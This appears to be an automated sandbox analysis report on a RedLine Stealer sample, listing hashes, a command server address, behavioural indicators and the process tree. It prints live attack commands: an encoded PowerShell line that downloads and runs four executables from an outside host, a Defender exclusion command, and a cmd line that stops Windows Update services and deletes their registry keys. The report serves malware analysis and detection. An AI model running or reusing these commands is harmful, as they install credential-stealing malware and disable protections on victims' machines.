Analysis
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max time kernel
43s -
max time network
47s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
30/01/2023, 19:12
Static task
static1
Behavioral task
behavioral1
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win10v2004-20220812-en
General
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Target
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
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Size
360KB
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MD5
9c0c75bb31dfa46b2c91c12693bf45dd
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SHA1
b405694fbedc3ed57f486a0bd892fb48b2917d49
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SHA256
c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
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SHA512
cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
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SSDEEP
6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4612-171-0x0000000000BB0000-0x0000000000BD0000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 4476 created 760 4476 SmartDefRun.exe 41 PID 4476 created 760 4476 SmartDefRun.exe 41 PID 4476 created 760 4476 SmartDefRun.exe 41 PID 4476 created 760 4476 SmartDefRun.exe 41 PID 3104 created 576 3104 powershell.EXE 6 -
Blocklisted process makes network request 1 IoCs
flow pid Process 10 2304 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 1396 new2.exe 204 C4Loader.exe 4476 SmartDefRun.exe 4580 SysApp.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 5056 set thread context of 2036 5056 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 1396 set thread context of 4612 1396 new2.exe 92 PID 4476 set thread context of 4380 4476 SmartDefRun.exe 118 PID 3104 set thread context of 4172 3104 powershell.EXE 123 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5012 sc.exe 1520 sc.exe 2052 sc.exe 2648 sc.exe 812 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1508 5056 WerFault.exe 81 4656 1396 WerFault.exe 88 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 2304 powershell.exe 2304 powershell.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4580 SysApp.exe 4612 vbc.exe 4476 SmartDefRun.exe 4476 SmartDefRun.exe 3808 powershell.exe 3808 powershell.exe 4476 SmartDefRun.exe 4476 SmartDefRun.exe 4476 SmartDefRun.exe 4476 SmartDefRun.exe 4832 powershell.exe 4832 powershell.exe 4476 SmartDefRun.exe 4476 SmartDefRun.exe 3104 powershell.EXE 2024 powershell.EXE 3104 powershell.EXE 2024 powershell.EXE 3104 powershell.EXE 4172 dllhost.exe 4172 dllhost.exe 4172 dllhost.exe 4172 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2304 powershell.exe Token: SeDebugPrivilege 4612 vbc.exe Token: SeDebugPrivilege 3808 powershell.exe Token: SeDebugPrivilege 4832 powershell.exe Token: SeIncreaseQuotaPrivilege 4832 powershell.exe Token: SeSecurityPrivilege 4832 powershell.exe Token: SeTakeOwnershipPrivilege 4832 powershell.exe Token: SeLoadDriverPrivilege 4832 powershell.exe Token: SeSystemProfilePrivilege 4832 powershell.exe Token: SeSystemtimePrivilege 4832 powershell.exe Token: SeProfSingleProcessPrivilege 4832 powershell.exe Token: SeIncBasePriorityPrivilege 4832 powershell.exe Token: SeCreatePagefilePrivilege 4832 powershell.exe Token: SeBackupPrivilege 4832 powershell.exe Token: SeRestorePrivilege 4832 powershell.exe Token: SeShutdownPrivilege 4832 powershell.exe Token: SeDebugPrivilege 4832 powershell.exe Token: SeSystemEnvironmentPrivilege 4832 powershell.exe Token: SeRemoteShutdownPrivilege 4832 powershell.exe Token: SeUndockPrivilege 4832 powershell.exe Token: SeManageVolumePrivilege 4832 powershell.exe Token: 33 4832 powershell.exe Token: 34 4832 powershell.exe Token: 35 4832 powershell.exe Token: 36 4832 powershell.exe Token: SeIncreaseQuotaPrivilege 4832 powershell.exe Token: SeSecurityPrivilege 4832 powershell.exe Token: SeTakeOwnershipPrivilege 4832 powershell.exe Token: SeLoadDriverPrivilege 4832 powershell.exe Token: SeSystemProfilePrivilege 4832 powershell.exe Token: SeSystemtimePrivilege 4832 powershell.exe Token: SeProfSingleProcessPrivilege 4832 powershell.exe Token: SeIncBasePriorityPrivilege 4832 powershell.exe Token: SeCreatePagefilePrivilege 4832 powershell.exe Token: SeBackupPrivilege 4832 powershell.exe Token: SeRestorePrivilege 4832 powershell.exe Token: SeShutdownPrivilege 4832 powershell.exe Token: SeDebugPrivilege 4832 powershell.exe Token: SeSystemEnvironmentPrivilege 4832 powershell.exe Token: SeRemoteShutdownPrivilege 4832 powershell.exe Token: SeUndockPrivilege 4832 powershell.exe Token: SeManageVolumePrivilege 4832 powershell.exe Token: 33 4832 powershell.exe Token: 34 4832 powershell.exe Token: 35 4832 powershell.exe Token: 36 4832 powershell.exe Token: SeIncreaseQuotaPrivilege 4832 powershell.exe Token: SeSecurityPrivilege 4832 powershell.exe Token: SeTakeOwnershipPrivilege 4832 powershell.exe Token: SeLoadDriverPrivilege 4832 powershell.exe Token: SeSystemProfilePrivilege 4832 powershell.exe Token: SeSystemtimePrivilege 4832 powershell.exe Token: SeProfSingleProcessPrivilege 4832 powershell.exe Token: SeIncBasePriorityPrivilege 4832 powershell.exe Token: SeCreatePagefilePrivilege 4832 powershell.exe Token: SeBackupPrivilege 4832 powershell.exe Token: SeRestorePrivilege 4832 powershell.exe Token: SeShutdownPrivilege 4832 powershell.exe Token: SeDebugPrivilege 4832 powershell.exe Token: SeSystemEnvironmentPrivilege 4832 powershell.exe Token: SeRemoteShutdownPrivilege 4832 powershell.exe Token: SeUndockPrivilege 4832 powershell.exe Token: SeManageVolumePrivilege 4832 powershell.exe Token: 33 4832 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5056 wrote to memory of 2036 5056 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 5056 wrote to memory of 2036 5056 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 5056 wrote to memory of 2036 5056 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 5056 wrote to memory of 2036 5056 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 5056 wrote to memory of 2036 5056 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 2036 wrote to memory of 2304 2036 vbc.exe 86 PID 2036 wrote to memory of 2304 2036 vbc.exe 86 PID 2036 wrote to memory of 2304 2036 vbc.exe 86 PID 2304 wrote to memory of 1396 2304 powershell.exe 88 PID 2304 wrote to memory of 1396 2304 powershell.exe 88 PID 2304 wrote to memory of 1396 2304 powershell.exe 88 PID 2304 wrote to memory of 204 2304 powershell.exe 90 PID 2304 wrote to memory of 204 2304 powershell.exe 90 PID 2304 wrote to memory of 204 2304 powershell.exe 90 PID 2304 wrote to memory of 4476 2304 powershell.exe 91 PID 2304 wrote to memory of 4476 2304 powershell.exe 91 PID 2304 wrote to memory of 4580 2304 powershell.exe 93 PID 2304 wrote to memory of 4580 2304 powershell.exe 93 PID 2304 wrote to memory of 4580 2304 powershell.exe 93 PID 1396 wrote to memory of 4612 1396 new2.exe 92 PID 1396 wrote to memory of 4612 1396 new2.exe 92 PID 1396 wrote to memory of 4612 1396 new2.exe 92 PID 1396 wrote to memory of 4612 1396 new2.exe 92 PID 1396 wrote to memory of 4612 1396 new2.exe 92 PID 4280 wrote to memory of 2052 4280 cmd.exe 108 PID 4280 wrote to memory of 2052 4280 cmd.exe 108 PID 4280 wrote to memory of 2648 4280 cmd.exe 109 PID 4280 wrote to memory of 2648 4280 cmd.exe 109 PID 4280 wrote to memory of 812 4280 cmd.exe 110 PID 4280 wrote to memory of 812 4280 cmd.exe 110 PID 4280 wrote to memory of 5012 4280 cmd.exe 111 PID 4280 wrote to memory of 5012 4280 cmd.exe 111 PID 4280 wrote to memory of 1520 4280 cmd.exe 112 PID 4280 wrote to memory of 1520 4280 cmd.exe 112 PID 4280 wrote to memory of 4648 4280 cmd.exe 113 PID 4280 wrote to memory of 4648 4280 cmd.exe 113 PID 4280 wrote to memory of 1120 4280 cmd.exe 114 PID 4280 wrote to memory of 1120 4280 cmd.exe 114 PID 4280 wrote to memory of 1116 4280 cmd.exe 115 PID 4280 wrote to memory of 1116 4280 cmd.exe 115 PID 4280 wrote to memory of 1092 4280 cmd.exe 116 PID 4280 wrote to memory of 1092 4280 cmd.exe 116 PID 4280 wrote to memory of 3852 4280 cmd.exe 117 PID 4280 wrote to memory of 3852 4280 cmd.exe 117 PID 4476 wrote to memory of 4380 4476 SmartDefRun.exe 118 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 3104 wrote to memory of 4172 3104 powershell.EXE 123 PID 4172 wrote to memory of 576 4172 dllhost.exe 6 PID 4172 wrote to memory of 664 4172 dllhost.exe 4 PID 4172 wrote to memory of 932 4172 dllhost.exe 10 PID 4172 wrote to memory of 1012 4172 dllhost.exe 9 PID 4172 wrote to memory of 440 4172 dllhost.exe 8 PID 4172 wrote to memory of 688 4172 dllhost.exe 80 PID 4172 wrote to memory of 1044 4172 dllhost.exe 78 PID 4172 wrote to memory of 1052 4172 dllhost.exe 77 PID 4172 wrote to memory of 1156 4172 dllhost.exe 76 PID 4172 wrote to memory of 1196 4172 dllhost.exe 75
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:576
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1012
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6714f56a-0a7f-4dcb-bf49-b694c9a98f99}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:932
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:760
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C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2304 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4612
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 2406⤵
- Program crash
PID:4656
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:204
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4476
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4580
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5056 -s 2403⤵
- Program crash
PID:1508
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3808
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4280 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2052
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2648
